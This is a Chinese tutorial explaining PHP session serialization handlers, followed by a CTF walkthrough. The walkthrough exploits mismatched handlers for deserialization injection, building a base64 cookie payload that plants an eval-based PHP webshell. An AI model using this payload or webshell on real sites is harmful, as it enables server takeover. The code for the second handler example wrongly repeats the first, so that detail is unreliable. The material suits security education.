您的位置 首页 php

一篇文章弄懂session的两种存储方式

本文为合天网安实验室原创,转载请注明出处!

PHP中session有哪些存储方式?

根据官方文档我们可以看到,一共有三种存储方式: PHP序列化格式 PHP内部格式 以及 WDDX

如果不使用 ini_set 设置相关session存储方式,在默认情况下就使用php,也就是 php内部格式

本篇文章仅讨论 PHP序列化格式 以及 php默认处理器 这两种存储方式,不探讨WDDX的存储方式。

还有一种是 php_binary 的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。

php_serialize

经过serialize()函数序列化数组

php

键名+竖线+经过serialize()函数处理的值

php_binary

键名的长度对应的ascii字符+键名+serialize()函数序列化的值

php默认处理器与php序列化存储方式有哪些差异?

php默认处理器

首先我们使用 php默认处理器, 初始化session,并给session赋值,实验代码如下:

 <?php
//ini_set("session.serialize_handler","php");
session_start();
$_SESSION['tt'] = "Lxxx";  

访问该网页后我们可以看到以下内容:

这里的信息量有点大,我们逐个分析:

  1. 首先访问该网页后,在Cookie中会新建一个值,键名为 PHPSESSID ,键值为一串随机的字符串,其中键名是由 session.name 决定的,如果不设置,默认为 PHPSESSID
  2. 新建了一个session之后,服务器会将会话信息存储在tmp目录中,文件名为 PHPSESSID_<value> ,其中value的值即为浏览器中 PHPSESSID 的值
  3. 在这个文件中,会将session信息分为两部分存储,一个是服务器代码中设置session的键名,另一个为session的键值,中间用竖线 | 隔开

php序列化处理器

同样的,我们还是用上方的代码,不过将session存储的方式修改为php序列化,代码如下:

 <?php
//ini_set("session.serialize_handler","php");
session_start();
$_SESSION['tt'] = "Lxxx";  

得到的结果如下:

可以看到,与php默认处理器唯一不同点就在于:存储的内容变为了序列化之后的结果。

那么如果将这两个处理器结合起来,会产生什么安全问题呢?

session存储中可能产生的安全问题

由于PHP默认情况下使用的session存储方式为 PHP默认处理器 ,即存储的内容用竖线 | 进行分割,那么开发者在开发的时候,如果没有统一好存储的方式,比如在某个页面中使用 PHP默认处理器 操作session,但是在其他页面用 PHP序列化 操作session,如果在这个过程中有数据的交换,就很有可能存在反序列化注入问题。

光说可能有些抽象,接下来使用一道CTF赛题来阐述session存储中可能存在的安全问题。

用一道CTF题阐述session的安全问题

首先呢,打开题目:

乍一眼看是登录页面,可能是SQL注入有关,但是经过我们扫描后,存在 www.zip 源代码泄露。在 www.zip 中存在以下文件:

相关代码如下:(有些做了省略)

index.php

 <?php
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
 setcookie("limit",base64_encode('1'));
 $_SESSION['limit']= 1;
}
?>  

inc.php

 <?php
ini_set('session.serialize_handler', 'php');
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}  

check.php

 <?php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
['id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}  

这一道题,经过初步审计之后,我们可以发现三个比较重要的地方:

  1. 首先在 index.php 代码中,有以下代码 $_SESSION[‘limti’]>5?die(“登陆失败次数超过限制”):$_SESSION[‘limit’]=base64_decode($_COOKIE[‘limit’]); 这一行代码看上去有登录失败次数的限制,但是由于题目中 limit 打成了 limti ,所以,实际上这一行代码并不影响我们做题。
  2. inc.php 中,存在以下代码: ini_set(‘session.serialize_handler’, ‘php’); 前面我们提到,默认的PHP对于session的处理方式就是 php ,但是这里又通过 ini_set 来设置处理方式是 php ,由此我们可以大胆假设,这题的环境,默认的session处理方式为 php序列化
  3. 同样还是在 inc.php 页面中,有以下代码: function __destruct(){
    file_put_contents(“log-“.$this->username, “使用”.$this->password.”登陆”.($this->status?”成功”:”失败”).”—-“.date_create()->format(‘Y-m-d H:i:s’));
    }
    在这一个地方,存在一个文件写入的漏洞,其中文件名以及写入的内容都可控。

经过初步审计之后,我们可以尝试使用将 User 类序列化后的字符写入 limit 中,当其他页面调用 limit 的时候,使用的是 php序列化 的处理器,这时候php就会对 User 类进行反序列化,最终写入我们的shell

所以我们构造一个User类,写入相关的shell,并且序列化之后添加一个竖线 | ,最后进行base64编码。

这里需要添加竖线 | 的原因是,在 inc.php 页面中使用了PHP的处理器,而在其他地方使用“默认”的PHP序列化处理器。

构造对象如下:

 <?php
class User{
    public $username = "1.php";
    public $password = '<?php eval($_POST["a"]);?>';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>  

得到结果:

 fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=  

首先访问 index.php 建立会话,然后将这一串传入cookie中的 limit

再带参数访问 check.php

 check.php?u=123&pass=456  

访问之后,就会在目录下生成 log-1.php 的后门文件,连接密码为 a ,即可成功getshell。

文章来源:智云一二三科技

文章标题:一篇文章弄懂session的两种存储方式

文章地址:https://www.zhihuclub.com/76853.shtml

关于作者: 智云科技

热门文章

网站地图